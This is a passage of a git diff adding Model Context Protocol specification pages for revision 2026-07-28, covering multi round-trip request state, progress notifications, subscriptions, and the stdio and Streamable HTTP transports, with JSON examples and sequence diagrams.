+ S-->>C: Result (id: 2, ToolCallResult)
+```
+
+Note that the requests in each step are completely independent: the server processing the retry does not need any information beyond
+what is directly present in the retry request.
+
+#### Server Requirements (Basic Workflow)
+
+1. Servers **MAY** respond to any [supported client request](#supported-requests) with an `InputRequiredResult`.
+
+2. The `InputRequiredResult` **MAY** include an `inputRequests` field.
+ * `inputRequests` keys are server assigned identifiers and **MUST** be unique within the scope of the request.
+ * `inputRequests` values are request objects that **MUST** be one of [`ElicitRequest`](/specification/2026-07-28/schema#elicitrequest), [`CreateMessageRequest`](/specification/2026-07-28/schema#createmessagerequest), or [`ListRootsRequest`](/specification/2026-07-28/schema#listrootsrequest)
+
+3. The `InputRequiredResult` **MAY** include a `requestState` field. If specified, this field is an opaque string meaningful only to the server. Servers are free to encode the state in any format (e.g. base64-encoded JSON, encrypted JWT, serialized binary).
+
+4. If a client request contains a `requestState` field, servers **MUST** treat `requestState` as an attacker-controlled input. If `requestState` influences authorization, resource access, or business logic, servers **MUST** protect its integrity (e.g. HMAC or AEAD)
+ and **MUST** reject state that fails verification. Integrity protection **MAY** be omitted only when tampering can cause nothing worse than request failure.
+
+5. To prevent replay, servers **SHOULD** include the following inside the integrity-protected `requestState` payload and verify each on receipt:
+ * the authenticated principal, rejecting state presented by a different principal.
+ * a short expiry (TTL), rejecting state presented after it lapses;
+ * an identifier for the originating request, e.g. the method name and a digest of its salient parameters, rejecting state presented on a request that does not match.
+
+ Note that these measures bound the replay window and prevent cross-user
+ and cross-request reuse, but do not by themselves guarantee single-use.
+ Servers for which a given `requestState` must be consumed at most once
+ (e.g., one-time redemptions) **MUST** enforce that invariant server-side.
+
+
+6. Servers **MUST** include at least one of `inputRequests` or `requestState` in every `InputRequiredResult` response.
+
+7. Servers **MUST NOT** send an `inputRequests` that the client has not declared support for in its capabilities. For example, if a client does not declare support for `elicitation`, the server **MUST NOT** include any `elicitation/create` requests in the `inputRequests` field.
+
+8. Servers **MUST NOT** assume that clients will fulfill the `inputRequests` or retry the original request. Servers **MAY** choose to return an `InputRequiredResult` on multiple attempts at the same request if they want to repeatedly prompt the user for information until they have what they need to complete the request.
+
+#### Client Requirements (Basic Workflow)
+
+1. If a client receives an `InputRequiredResult` that contains the `inputRequests` field, the client **MUST** construct the requested
+ inputs before retrying the original request. If the `InputRequiredResult` does *not* contain the `inputRequests` field,
+ the client **MAY** retry the original request immediately.
+2. If an `InputRequiredResult` contains the `requestState` field, the client **MUST** echo back the exact value of that field when retrying the original request.
+ Clients **MUST NOT** inspect, parse, modify, or make any assumptions about the `requestState` contents. If the `InputRequiredResult` does not contain a `requestState` field, the client **MUST NOT** include one in the retry.
+3. The JSON-RPC `id` **MUST** be different between the initial request and the retry, as they are independent requests.
+4. Both the `inputRequests` and `requestState` fields affect only the client's retry of the original request. They **MUST NOT** be used for any other request that the client may be sending in parallel.
+
+### Error Handling
+
+Servers **SHOULD** validate that the data provided by the client is a valid `InputResponses` object and that the information inside can be correctly parsed.
+Protocol errors (malformed JSON, invalid schema, internal server errors) **SHOULD** return a JSON-RPC error response with an appropriate error code and message.
+
+If additional, unexpected parameters are provided in the `InputResponses` object, the server **SHOULD** ignore any information it does not recognize or need.
+
+If the client fails to send all the information requested in a previous `InputRequests`, and the missing information is necessary for the server to process the request,
+the server **SHOULD** respond with a new `InputRequiredResult` requesting the missing information again, rather than returning an error.
+
+### Security Considerations
+
+Because `requestState` passes through the client, malicious or compromised clients could attempt to modify it to alter server behavior,
+bypass authorization checks, or corrupt server logic. Servers **MUST** validate request state as described in the [server requirements](#server-requirements-basic-workflow) above.
diff --git a/content/mcp/specification/2026-07-28/basic/patterns/progress.md b/content/mcp/specification/2026-07-28/basic/patterns/progress.md
new file mode 100644
index 000000000..f3ff2c3ed
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/patterns/progress.md
@@ -0,0 +1,92 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Progress
+
+
+
+The Model Context Protocol (MCP) supports optional progress tracking for long-running
+operations through notification messages. The server **MAY** send progress notifications
+to report the status of requests the client has issued.
+
+## Progress Flow
+
+When a client wants to *receive* progress updates for a request, it includes a
+`progressToken` in the request metadata.
+
+* Progress tokens **MUST** be a string or integer value
+* Progress tokens can be chosen by the client using any means, but **MUST** be unique
+ across all active requests.
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "some_method",
+ "params": {
+ "_meta": {
+ "progressToken": "abc123"
+ }
+ }
+}
+```
+
+The server **MAY** then send progress notifications containing:
+
+* The original progress token
+* The current progress value so far
+* An optional "total" value
+* An optional "message" value
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/progress",
+ "params": {
+ "progressToken": "abc123",
+ "progress": 50,
+ "total": 100,
+ "message": "Reticulating splines..."
+ }
+}
+```
+
+* The `progress` value **MUST** increase with each notification, even if the total is
+ unknown.
+* The `progress` and the `total` values **MAY** be floating point.
+* The `message` field **SHOULD** provide relevant human readable progress information.
+
+## Behavior Requirements
+
+1. Progress notifications **MUST** only reference tokens that:
+ * Were provided in an active request
+ * Are associated with an in-progress operation
+
+2. Servers receiving a request with a progress token **MAY**:
+ * Choose not to send any progress notifications
+ * Send notifications at whatever frequency they deem appropriate
+ * Omit the total value if unknown
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Note over Client,Server: Request with progress token
+ Client->>Server: Method request with progressToken
+
+ Note over Client,Server: Progress updates
+ Server-->>Client: Progress notification (0.2/1.0)
+ Server-->>Client: Progress notification (0.6/1.0)
+ Server-->>Client: Progress notification (1.0/1.0)
+
+ Note over Client,Server: Operation complete
+ Server->>Client: Method response
+```
+
+## Implementation Notes
+
+* Clients and servers **SHOULD** track active progress tokens
+* Both parties **SHOULD** implement rate limiting to prevent flooding
+* Progress notifications **MUST** stop after completion
diff --git a/content/mcp/specification/2026-07-28/basic/patterns/subscriptions.md b/content/mcp/specification/2026-07-28/basic/patterns/subscriptions.md
new file mode 100644
index 000000000..2bf54d391
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/patterns/subscriptions.md
@@ -0,0 +1,167 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Subscriptions
+
+
+
+`subscriptions/listen` opens a long-lived notification stream from the server to the
+client. Unlike one-off requests, the stream stays open and delivers notifications until
+the client cancels it. It replaces the former `resources/subscribe` RPC and the HTTP GET
+endpoint.
+
+## Opening a Stream
+
+The client sends a `subscriptions/listen` request with a `notifications` filter
+specifying which event types it wants to receive. The server **MUST NOT** send
+notification types the client has not explicitly requested.
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "subscriptions/listen",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "ExampleClient",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {}
+ },
+ "notifications": {
+ "toolsListChanged": true,
+ "resourceSubscriptions": ["file:///project/config.json"]
+ }
+ }
+}
+```
+
+### Notification Filter
+
+| Field | Type | Description |
+| ----------------------- | ---------- | ----------------------------------------------------------------- |
+| `toolsListChanged` | `boolean` | Receive `notifications/tools/list_changed` when tools change |
+| `promptsListChanged` | `boolean` | Receive `notifications/prompts/list_changed` when prompts change |
+| `resourcesListChanged` | `boolean` | Receive `notifications/resources/list_changed` when list changes |
+| `resourceSubscriptions` | `string[]` | Receive `notifications/resources/updated` for these resource URIs |
+
+All fields are optional. Omitting a field is equivalent to not subscribing to that
+notification type.
+
+## Acknowledgment
+
+The server **MUST** send `notifications/subscriptions/acknowledged` as the first message
+carrying the subscription's ID in `_meta` under `io.modelcontextprotocol/subscriptionId`,
+and **MUST NOT** send any notification on the
+subscription before it. On stdio, where every subscription shares one channel, this
+ordering is defined per subscription ID and not per channel: messages belonging to other
+subscriptions **MAY** be interleaved before it.
+
+The `notifications` field in the acknowledgment reflects the subset the server agreed to
+honor. Notification types the server does not support are omitted.
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/subscriptions/acknowledged",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/subscriptionId": 1
+ },
+ "notifications": {
+ "toolsListChanged": true,
+ "resourceSubscriptions": ["file:///project/config.json"]
+ }
+ }
+}
+```
+
+The client **SHOULD** check the acknowledged filter against what it requested and handle
+any unsupported types gracefully.
+
+## Receiving Notifications
+
+All notifications delivered on the stream carry
+`io.modelcontextprotocol/subscriptionId` in `_meta`, identifying the
+`subscriptions/listen` request that opened the stream. The value is the JSON-RPC ID of
+the `subscriptions/listen` request. In the examples above, the request used `"id": 1`,
+so the acknowledgment and all subsequent notifications carry the subscription ID `1`.
+On stdio, where all messages
+share a single channel, clients **MUST** use this field to correlate notifications
+with their originating subscription.
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/resources/updated",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/subscriptionId": 1
+ },
+ "uri": "file:///project/config.json"
+ }
+}
+```
+
+## Multiple Concurrent Subscriptions
+
+A client **MAY** have multiple active subscriptions concurrently — for example,
+one listening for tools-list changes and another for resource updates. Each
+subscription is identified by the JSON-RPC request ID of its
+`subscriptions/listen` request, and every notification on the stream carries
+that ID in
+`io.modelcontextprotocol/subscriptionId` so clients can demultiplex them.
+
+## Cancellation
+
+A subscription ends when:
+
+* The **client** cancels it — close the SSE stream (HTTP) or send
+ `notifications/cancelled` referencing the `subscriptions/listen` request ID (stdio).
+* The **server** tears it down (e.g., during shutdown) — it **SHOULD** send the
+ empty `subscriptions/listen` response to signal a graceful end (see
+ [Graceful Closure](#graceful-closure)), then close the stream.
+* The underlying transport closes (HTTP timeout, TCP disconnect, stdio process
+ exit).
+
+### Graceful Closure
+
+When the server ends a subscription on its own initiative (for example, during
+shutdown), it **SHOULD** respond to the original `subscriptions/listen` request
+with an empty result before closing the stream. This is the JSON-RPC response to
+the long-lived request, correlated by its `id`, and signals that the subscription
+ended gracefully — as opposed to an abrupt transport drop, which carries no
+response.
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "_meta": {
+ "io.modelcontextprotocol/subscriptionId": 1
+ }
+ }
+}
+```
+
+Like every other message on the stream, the response carries
+`io.modelcontextprotocol/subscriptionId` in `_meta`, identifying which
+subscription it closes. The value matches the JSON-RPC `id` of the originating
+`subscriptions/listen` request.
+
+A client that receives this response knows the subscription closed cleanly; a
+transport that closes without it indicates an unexpected disconnect, which the
+client **MAY** treat as a trigger to reconnect.
+
+On **stdio**, if the connection is terminated and then re-established, the
+client **MUST** re-send `subscriptions/listen` to re-establish its
+subscriptions — the server holds no subscription state across reconnections.
+
+See [Cancellation][cancellation] for the full rules.
+
+[cancellation]: /specification/2026-07-28/basic/patterns/cancellation
diff --git a/content/mcp/specification/2026-07-28/basic/transports.md b/content/mcp/specification/2026-07-28/basic/transports.md
new file mode 100644
index 000000000..a0833e820
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/transports.md
@@ -0,0 +1,91 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Overview
+
+
+
+This page defines what a transport must provide to carry MCP messages, the
+standard transport bindings, and the requirements for defining new ones.
+
+Protocol semantics are identical on every transport. A transport is a
+**binding**: it defines how messages are framed and delivered, how request
+metadata is carried, and how cancellation and termination are signaled. It
+does not define what the messages mean: the
+[message patterns](/specification/2026-07-28/basic/patterns) are part of the core
+protocol and are the same on every binding. The binding pages specify the
+standard transports:
+
+1. [stdio](/specification/2026-07-28/basic/transports/stdio): newline-delimited
+ messages over the standard streams of a client-launched subprocess.
+2. [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http):
+ each message is an HTTP POST to a single MCP endpoint; replies arrive as
+ a JSON object or a request-scoped SSE stream.
+
+It is also possible for clients and servers to implement
+[custom transports](#custom-transports).
+
+## Messages
+
+MCP uses JSON-RPC to encode messages. JSON-RPC messages **MUST** be UTF-8
+encoded.
+
+A binding **MUST** deliver client-sent *requests* and *notifications* to the
+server, and server-sent *responses* and *notifications* to the client. No
+other message direction exists: per the
+[message patterns](/specification/2026-07-28/basic/patterns), servers do not
+initiate JSON-RPC requests and clients do not send JSON-RPC responses.
+
+## Request Metadata
+
+All protocol metadata travels in the message body: every request carries its
+protocol version and client capabilities in
+[`_meta.io.modelcontextprotocol/*`](/specification/2026-07-28/basic/index#meta)
+fields.
+
+A binding **MAY** additionally mirror selected body fields into envelope
+metadata. The Streamable HTTP transport mirrors them into
+[HTTP headers](/specification/2026-07-28/basic/transports/streamable-http#request-metadata)
+so that intermediaries can route and inspect requests without parsing the
+body. The body remains the source of truth; bindings that mirror metadata
+define how mismatches are rejected.
+
+## Cancellation
+
+Each binding defines how a client abandons an in-flight request: on stdio
+the client sends a `notifications/cancelled` notification; on Streamable
+HTTP it closes the request's response stream. The protocol-level rules are
+the same everywhere; see
+[Cancellation](/specification/2026-07-28/basic/patterns/cancellation).
+
+## Custom Transports
+
+Clients and servers **MAY** implement additional custom transport mechanisms
+to suit their specific needs. The protocol is transport-agnostic and can be
+implemented over any communication channel that supports bidirectional
+message exchange.
+
+Implementers who choose to support custom transports **MUST** preserve the
+JSON-RPC message format, the
+[message patterns](/specification/2026-07-28/basic/patterns), and the per-request
+metadata model. Custom transports **SHOULD** document their connection
+establishment, message framing, and cancellation patterns to aid
+interoperability.
+
+Custom transports that run over a reliable bidirectional byte stream (e.g.,
+Unix domain sockets or TCP) **SHOULD** reuse the
+[stdio framing](/specification/2026-07-28/basic/transports/stdio) rather than
+defining a new one: the stdio binding is just newline-delimited JSON-RPC
+over a byte stream, and only its process-lifecycle rules are specific to
+standard streams.
+
+## Backward Compatibility
+
+Earlier protocol revisions established a connection-scoped session with an
+`initialize` handshake and allowed servers to initiate JSON-RPC requests.
+Clients and servers that interoperate with those revisions detect the
+counterpart's era and fall back as described in
+[Versioning: Backward Compatibility](/specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions),
+which includes a compatibility matrix for implementors. Each binding page
+describes its transport-specific detection mechanics.
diff --git a/content/mcp/specification/2026-07-28/basic/transports/stdio.md b/content/mcp/specification/2026-07-28/basic/transports/stdio.md
new file mode 100644
index 000000000..598f0f8f0
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/transports/stdio.md
@@ -0,0 +1,163 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# stdio
+
+
+
+In the **stdio** transport, the client launches the MCP server as a subprocess.
+The two ends communicate over the subprocess's standard streams:
+
+* The server reads JSON-RPC messages from `stdin` and writes JSON-RPC messages to
+ `stdout`.
+* Each message is a single JSON-RPC request, notification, or response.
+* Messages are delimited by newlines, and **MUST NOT** contain embedded newlines.
+* The server **MAY** write UTF-8 strings to `stderr` for any logging purposes
+ including informational, debug, and error messages.
+* The client **MAY** capture, forward, or ignore the server's `stderr` output and
+ **SHOULD NOT** assume `stderr` output indicates error conditions.
+* The server **MUST NOT** write anything to its `stdout` that is not a valid MCP
+ message.
+* The client **MUST NOT** write anything to the server's `stdin` that is not a
+ valid MCP message.
+
+Standard streams are the canonical channel, but nothing in this binding
+depends on them except the process lifecycle. The wire format (one
+newline-delimited JSON-RPC message per line over a reliable bidirectional
+byte stream) works unchanged over Unix domain sockets, TCP connections, or
+any similar channel.
+[Custom transports](/specification/2026-07-28/basic/transports#custom-transports)
+built on such streams **SHOULD** reuse this framing and the message rules on
+this page; only the subprocess-specific aspects (launch, `stderr`, shutdown
+by closing the stream, process restart) need channel-specific equivalents.
+
+## Sending Messages
+
+The client sends messages by writing JSON-RPC *requests* and *notifications*
+to the server's `stdin`, one message per line. The client **MUST NOT** write
+JSON-RPC *responses*.
+
+## Receiving Messages
+
+The client reads server messages from `stdout`, one message per line. All
+messages share this single channel; there are no per-request streams.
+
+The server writes three kinds of messages:
+
+1. *Responses* to client requests, correlated by JSON-RPC `id`.
+2. *Notifications* that relate to an in-flight request, such as
+ `notifications/progress` and `notifications/message`.
+3. *Notifications* delivered for an active
+ [`subscriptions/listen`][subscriptions-listen] request. Clients **MUST**
+ correlate these using the `io.modelcontextprotocol/subscriptionId` field
+ in `_meta`; see
+ [`SubscriptionsListenRequest`][subscriptions-listen-request].
+
+The server **MUST NOT** write JSON-RPC *requests* to `stdout`.
+Server-to-client interactions are carried in
+[`InputRequiredResult`][mrtr-input-required] replies; see
+[Multi Round-Trip Requests][mrtr].
+
+[mrtr]: /specification/2026-07-28/basic/patterns/mrtr
+
+[mrtr-input-required]: /specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult
+
+[subscriptions-listen]: /specification/2026-07-28/basic/patterns/subscriptions
+
+[subscriptions-listen-request]: /specification/2026-07-28/schema#subscriptionslistenrequest
+
+## Request Metadata
+
+All request metadata for the stdio transport is carried inline in the
+JSON-RPC message body. The protocol version, per-request capabilities, and
+optional client identity live in
+[`_meta.io.modelcontextprotocol/*`][meta-fields];
+the method name and arguments live where JSON-RPC puts them. There is no
+header layer.
+
+[meta-fields]: /specification/2026-07-28/basic/index#meta
+
+## Cancellation
+
+To cancel an in-flight request, the client **MUST** send a
+`notifications/cancelled` notification referencing the request's ID. Because
+stdio is a single shared bidirectional channel, there is no per-request stream
+to close. Servers **SHOULD** stop work on a cancelled request as soon as
+practical and **MUST NOT** send any further messages for it. See
+[Cancellation][cancellation] for the full rules.
+
+[cancellation]: /specification/2026-07-28/basic/patterns/cancellation
+
+## Shutdown
+
+The client **SHOULD** initiate shutdown by:
+
+1. Closing the input stream to the child process (the server).
+2. Waiting for the server to exit.
+3. If the server does not exit within a reasonable time, forcibly terminating
+ the process using the mechanism appropriate for the operating system.
+
+On POSIX systems, forced termination typically escalates from
+[`SIGTERM`][sigterm]
+to `SIGKILL`. On Windows, where POSIX signals are not available, clients can
+use [`TerminateProcess`][terminateprocess]
+or [Job Objects][job-objects].
+
+Servers **SHOULD** exit promptly when their standard input is closed or reads
+return end-of-file. This is the primary graceful-shutdown signal and the only
+portable one, so honoring it reduces the need for forced termination.
+
+The server **MAY** initiate shutdown by closing its output stream to the
+client and exiting.
+
+## Unexpected Termination
+
+If the server process exits unexpectedly, the client **SHOULD** restart it.
+Because the protocol is stateless, any in-flight requests are simply lost and
+the client can retry them against the fresh process. Active
+[`subscriptions/listen`][subscriptions-listen] streams must also be
+re-established after restart.
+
+[sigterm]: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/signal.h.html
+
+[terminateprocess]: https://learn.microsoft.com/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess
+
+[job-objects]: https://learn.microsoft.com/windows/win32/procthread/job-objects
+
+## Backward Compatibility
+
+A client that supports both modern (per-request-metadata) MCP versions and a
+legacy version that requires an `initialize` handshake **SHOULD** probe with
+[`server/discover`][server-discover] before sending any other request,
+setting its preferred modern version in `_meta`. The probe has three
+possible outcomes:
+
+* The server returns a `DiscoverResult`: the server is modern. Select a
+ mutually supported version from `supportedVersions` and continue.
+* The server returns a recognized modern JSON-RPC error such as
+ [`UnsupportedProtocolVersionError`][unsupported-version]: the server is
+ modern but does not support the requested version. Use one of the versions
+ in its advertised `supported` list. Do **not** fall back to `initialize`.
+* The server returns any other error, or does not respond within a
+ reasonable timeout: the server is legacy. Fall back to the `initialize`
+ handshake.
+
+The fallback **MUST NOT** be keyed to one specific error code: legacy servers
+respond to unknown pre-`initialize` requests with implementation-defined
+errors (commonly `-32601` or `-32602`) or not at all.
+
+A client that only supports modern versions does not need to probe, but
+probing is still **RECOMMENDED**: some legacy servers do not validate that a
+request arrives after `initialize` and would process an era-ambiguous method
+(such as `tools/call`) under legacy semantics. Probing yields a
+deterministic failure instead.
+
+See [Versioning: Backward Compatibility][lifecycle-compat] for the era model
+and a compatibility matrix for implementors.
+
+[server-discover]: /specification/2026-07-28/schema#discoverrequest
+
+[unsupported-version]: /specification/2026-07-28/schema#unsupportedprotocolversionerror
+
+[lifecycle-compat]: /specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions
diff --git a/content/mcp/specification/2026-07-28/basic/transports/streamable-http.md b/content/mcp/specification/2026-07-28/basic/transports/streamable-http.md
new file mode 100644
index 000000000..c16ddc36a
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/transports/streamable-http.md
@@ -0,0 +1,734 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Streamable HTTP
+
+
+
+
+ Streamable HTTP was introduced in protocol version 2025-03-26 as a replacement
+ for the [HTTP+SSE transport][http-sse] from protocol version 2024-11-05.
+
+
+
+ Revision 2026-07-28 changed the behavior of Streamable HTTP. Clients must
+ ensure they handle backwards compatibility correctly. Changes included:
+
+ * Removal of the GET stream endpoint.
+ * Removal of protocol-level sessions.
+
+ See the [changelog](/specification/2026-07-28/changelog) and
+ [Backward Compatibility](#backward-compatibility) below.
+
+
+In the **Streamable HTTP** transport, the server operates as an independent
+process that can handle multiple client connections. At a glance:
+
+* The server exposes a single HTTP endpoint (the **MCP endpoint**) that
+ accepts POST.
+* The client sends every JSON-RPC request or notification as its own HTTP
+ POST.
+* The server answers each request with either a single JSON object or a
+ [Server-Sent Events][sse] (SSE) stream scoped to that request, carrying
+ request-related notifications followed by the final response.
+* Server-to-client interactions (sampling, elicitation, roots) are embedded
+ in results as input requests per
+ [Multi Round-Trip Requests (MRTR)][mrtr] ([SEP-2322][sep-2322]).
+* Long-lived change notifications (such as list changes and resource updates)
+ are delivered on the response stream of a
+ [`subscriptions/listen`][subscriptions-listen] request.
+
+See [Message Flow](#message-flow) for sequence diagrams of these
+interactions.
+
+The server **MUST** provide a single HTTP endpoint path (hereafter referred to
+as the **MCP endpoint**) that supports POST. For example, this could be a URL
+like `https://example.com/mcp`.
+
+[http-sse]: /specification/2024-11-05/basic/transports#http-with-sse
+
+[sse]: https://en.wikipedia.org/wiki/Server-sent_events
+
+## Security & Endpoint
+
+When implementing Streamable HTTP transport:
+
+1. Servers **MUST** validate the `Origin` header on all incoming connections
+ to prevent DNS rebinding attacks.
+ * If the `Origin` header is present and invalid, servers **MUST** respond
+ with HTTP 403 Forbidden. The HTTP response body **MAY** comprise a
+ JSON-RPC *error response* that has no `id`.
+2. When running locally, servers **SHOULD** bind only to localhost
+ (127.0.0.1) rather than all network interfaces (0.0.0.0).
+3. Servers **SHOULD** implement proper authentication for all connections.
+
+Without these protections, attackers could use DNS rebinding to interact with
+local MCP servers from remote websites.
+
+## Sending Messages
+
+Every JSON-RPC message sent from the client **MUST** be a new HTTP POST
+request to the MCP endpoint.
+
+1. The client **MUST** use HTTP POST to send JSON-RPC messages.
+2. The client **MUST** include an `Accept` header listing both
+ `application/json` and `text/event-stream` as supported content types.
+3. The client **MUST** include the [request metadata headers](#request-metadata)
+ on each POST request.
+4. The body of the HTTP POST **MUST** be a single JSON-RPC *request* or
+ *notification*. The client **MUST NOT** send JSON-RPC *responses*.
+5. If the body is a JSON-RPC *notification*:
+ * If the server accepts it, the server **MUST** return HTTP status code
+ `202 Accepted` with no body.
+ * If the server cannot accept it, it **MUST** return an HTTP error status
+ code (e.g., `400 Bad Request`). The HTTP response body **MAY** comprise
+ a JSON-RPC *error response* that has no `id`.
+6. If the body is a JSON-RPC *request*, the server **MUST** return either
+ `Content-Type: application/json` (a single JSON object) or
+ `Content-Type: text/event-stream` (an SSE response stream). The client
+ **MUST** support both.
+
+
+ This revision of the core protocol defines no client-to-server
+ *notifications* over Streamable HTTP. The only client-sent notification in
+ the core protocol, `notifications/cancelled`, is used only on the
+ [stdio](/specification/2026-07-28/basic/transports/stdio) transport; on
+ Streamable HTTP, closing the SSE response stream is itself the cancellation
+ signal and no `notifications/cancelled` message is expected (see
+ [Cancellation][cancellation]). The notification rules above describe the
+ transport mechanics for a notification POST; header requirements for
+ notification POSTs are not defined by this revision.
+
+
+## Receiving Messages
+
+When the server returns an SSE response stream
+(`Content-Type: text/event-stream`):
+
+* The server **MAY** send JSON-RPC *notifications* — for example,
+ [`notifications/progress`][notifications-progress]
+ or [`notifications/message`][notifications-message] —
+ before the final response. These notifications **MUST** relate to the
+ originating client request.
+* The server **MUST NOT** send independent JSON-RPC *requests* on this stream.
+ Server-to-client interactions (sampling, elicitation, list-roots) are
+ embedded as input requests inside an
+ [`InputRequiredResult`][input-required-result] per
+ [MRTR][mrtr] ([SEP-2322][sep-2322]), not delivered as separate requests on
+ this or any other stream. This is a change from Streamable HTTP in protocol
+ versions `2025-03-26` through `2025-11-25`, where servers could send such
+ requests on SSE streams.
+* The final JSON-RPC *response* **SHOULD** terminate the stream.
+
+Long-lived notification streams are obtained by sending a
+[`subscriptions/listen`][subscriptions-listen]
+request. The server's response is itself an SSE stream that stays open and
+delivers the change notifications the client opted in to (such as
+`notifications/tools/list_changed` or `notifications/resources/updated`).
+Request-scoped notifications like `notifications/progress` and
+`notifications/message` are **not** delivered on the listen stream — they
+flow only on the response stream of the request they relate to.
+
+When initiating an SSE stream, servers **SHOULD** include the
+`X-Accel-Buffering: no` header in the HTTP response. This instructs reverse
+proxies (such as nginx) to disable response buffering, ensuring that SSE
+events are delivered to clients immediately rather than being held in a
+buffer. Without this header, proxies may accumulate messages before sending
+them to the client, introducing unwanted latency and potentially breaking the
+real-time nature of SSE communication.
+
+
+ For long-lived streams — in particular the
+ [`subscriptions/listen`][subscriptions-listen] response stream — servers are
+ encouraged to periodically emit an SSE comment line (a line beginning with a
+ colon, e.g. `:\r\n`) as a keep-alive. This keeps the connection from being
+ closed by intermediaries or client idle timeouts during quiet periods when no
+ notifications are flowing. Per the [SSE specification][sse], any line beginning
+ with a colon is a comment that carries no event data; clients must ignore such
+ lines and must not treat them as malformed input.
+
+
+Resumable SSE streams via `Last-Event-ID` are not supported.
+
+[notifications-progress]: /specification/2026-07-28/basic/patterns/progress
+
+[notifications-message]: /specification/2026-07-28/server/utilities/logging
+
+[input-required-result]: /specification/2026-07-28/schema#inputrequiredresult
+
+[mrtr]: /specification/2026-07-28/basic/patterns/mrtr
+
+[sep-2322]: /seps/2322-MRTR
+
+[subscriptions-listen]: /specification/2026-07-28/basic/patterns/subscriptions
+
+## Message Flow
+
+The following diagrams illustrate the message flows on a single MCP endpoint.
+
+**Requests and responses.** Each request is its own POST; the server chooses
+per request whether to respond with a single JSON object or an SSE stream:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ note over Client,Server: Simple response
+ Client->>Server: POST tools/call (JSON-RPC request)
+ Server-->>Client: 200 OK, application/json JSON-RPC response
+
+ note over Client,Server: Streaming response
+ Client->>Server: POST tools/call (JSON-RPC request)
+ note over Server: Opens SSE stream scoped to this request
+ Server-->>Client: SSE: notifications/progress
+ Server-->>Client: SSE: notifications/progress
+ Server-->>Client: SSE: JSON-RPC response
+ note over Client,Server: Stream closes
+
+ note over Client,Server: Notification
+ Client->>Server: POST (JSON-RPC notification)
+ Server-->>Client: 202 Accepted
+```
+
+**Server-to-client interactions (MRTR).** When the server needs input from
+the client — sampling, elicitation, or roots — it does not send its own
+JSON-RPC request. It returns an
+[`InputRequiredResult`][input-required-result] containing `inputRequests`,
+and the client retries the original request with the matching
+`inputResponses` (see [Multi Round-Trip Requests][mrtr]):
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: POST tools/call (id: 1)
+ note over Server: Needs user input or an LLM completion
+ Server-->>Client: InputRequiredResult (inputRequests: elicitation/create)
+ note over Client: Gathers the requested input
+ Client->>Server: POST tools/call (id: 2) (original params + inputResponses)
+ Server-->>Client: Final result
+```
+
+**Change notifications.** Clients that want server-initiated change
+notifications open a long-lived stream with
+[`subscriptions/listen`][subscriptions-listen]; the response stream stays
+open and carries only the notification types the client opted in to:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: POST subscriptions/listen (notification filter)
+ Server-->>Client: SSE: notifications/subscriptions/acknowledged
+ note over Client,Server: Stream stays open
+ Server-->>Client: SSE: notifications/tools/list_changed
+ Server-->>Client: SSE: notifications/resources/updated
+ note over Client,Server: Until the client or server closes the stream
+```
+
+## Cancellation
+
+Closing the SSE response stream **MUST** be treated by the server as
+cancellation of that request. Because each request has its own response
+stream, the transport-level disconnect is unambiguous. The server **SHOULD**
+stop work on the cancelled request as soon as practical and **MUST NOT** send
+any further messages for it. See
+[Cancellation][cancellation] for the full rules.
+
+[cancellation]: /specification/2026-07-28/basic/patterns/cancellation
+
+## Request Metadata
+
+The Streamable HTTP transport mirrors selected JSON-RPC body fields into HTTP
+headers so that intermediaries (load balancers, gateways, observability
+tooling) can route and inspect requests without parsing the body.
+
+### Protocol Version Header
+
+Every POST request to the MCP endpoint **MUST** include an
+`MCP-Protocol-Version` header.
+
+For example: `MCP-Protocol-Version: 2026-07-28`
+
+The header value **MUST** match the
+`io.modelcontextprotocol/protocolVersion` field carried in the request body's
+`_meta`. If the values do not match, the server **MUST** reject the request
+with `400 Bad Request` and a `HeaderMismatch` JSON-RPC error
+(see [Server Validation](#server-validation)).
+
+If the server does not implement the requested protocol version (whether the
+version is unknown to the server, or is a known version the server has chosen
+not to support), it **MUST** respond with `400 Bad Request` and an
+[`UnsupportedProtocolVersionError`][unsupported-version]
+listing its supported versions. See
